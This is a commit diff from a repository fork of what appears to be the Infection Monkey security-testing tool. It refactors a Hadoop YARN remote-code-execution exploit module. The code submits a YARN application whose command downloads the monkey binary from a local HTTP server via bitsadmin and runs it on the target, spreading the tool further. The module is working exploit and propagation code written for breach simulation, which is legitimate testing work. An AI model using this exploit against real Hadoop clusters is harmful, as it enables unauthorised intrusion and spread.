p20319658
/
monkey
forked from p34709852/monkey
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Refactored according to latest web_rce framework changes

This commit is contained in:
Vakaris 2018-08-26 14:13:28 +03:00
parent 504281dbcb
commit 02c27584da
1 changed files with 31 additions and 24 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

55
infection_monkey/exploit/hadoop.py
View File

@ -9,7 +9,7 @@ import random
import string import string
import logging import logging
from exploit.web_rce import WebRCE from exploit.web_rce import WebRCE
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path
import posixpath import posixpath
from threading import Lock from threading import Lock
from model import MONKEY_ARG from model import MONKEY_ARG
@ -32,8 +32,8 @@ class HadoopExploiter(WebRCE):
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
" Update /download /priority high %(http_path)s %(monkey_path)s " \ " Update /download /priority high %(http_path)s %(monkey_path)s " \
"& %(monkey_path)s %(monkey_type)s %(parameters)s" "& %(monkey_path)s %(monkey_type)s %(parameters)s"
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 90 DOWNLOAD_TIMEOUT = 90
LOCK = Lock()
def __init__(self, host): def __init__(self, host):
super(HadoopExploiter, self).__init__(host) super(HadoopExploiter, self).__init__(host)
@ -41,7 +41,7 @@ class HadoopExploiter(WebRCE):
def exploit_host(self): def exploit_host(self):
# Try to get exploitable url # Try to get exploitable url
exploitable_url = False exploitable_url = False
urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS) urls = self.build_potential_urls(self.host, self.HADOOP_PORTS)
for url in urls: for url in urls:
if self.try_exploit(url): if self.try_exploit(url):
exploitable_url = url exploitable_url = url
@ -55,27 +55,29 @@ class HadoopExploiter(WebRCE):
return False return False
# Determine where to save monkey on the target # Determine where to save monkey on the target
LOG.debug("Monkey path found") LOG.debug("Monkey path found")
path = WebRCE.get_monkey_dest_path(self._config, src_path) path = get_monkey_dest_path(src_path)
if not path:
return False
# To avoid race conditions we pass a locked lock to http servers thread # To avoid race conditions we pass a locked lock to http servers thread
self.LOCK.acquire() lock = Lock()
lock.acquire()
# Create server for http download and wait for it's startup. # Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock)
self.LOCK.acquire() lock.acquire()
# Build command to execute # Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
if 'linux' in self.host.os['type']: if 'linux' in self.host.os['type']:
command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, base_command = self.LINUX_COMMAND
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
else: else:
command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, base_command = self.WINDOWS_COMMAND
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
if not path: command = base_command % {"monkey_path": path, "http_path": http_path,
return False "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
if not self.exploit(exploitable_url, command): if not self.exploit(exploitable_url, command):
return False return False
self.LOCK.release() lock.release()
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
return True return True
@ -87,16 +89,7 @@ class HadoopExploiter(WebRCE):
app_id = resp['application-id'] app_id = resp['application-id']
# Create a random name for our application in YARN # Create a random name for our application in YARN
rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)])
payload = { payload = self.build_payload(app_id, rand_name, command)
"application-id": app_id,
"application-name": rand_name,
"am-container-spec": {
"commands": {
"command": command,
}
},
"application-type": "YARN"
}
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
if resp.status_code == 202: if resp.status_code == 202:
return True return True
@ -114,3 +107,17 @@ class HadoopExploiter(WebRCE):
return True return True
else: else:
return False return False
@staticmethod
def build_payload(app_id, name, command):
payload = {
"application-id": app_id,
"application-name": name,
"am-container-spec": {
"commands": {
"command": command,
}
},
"application-type": "YARN"
}
return payload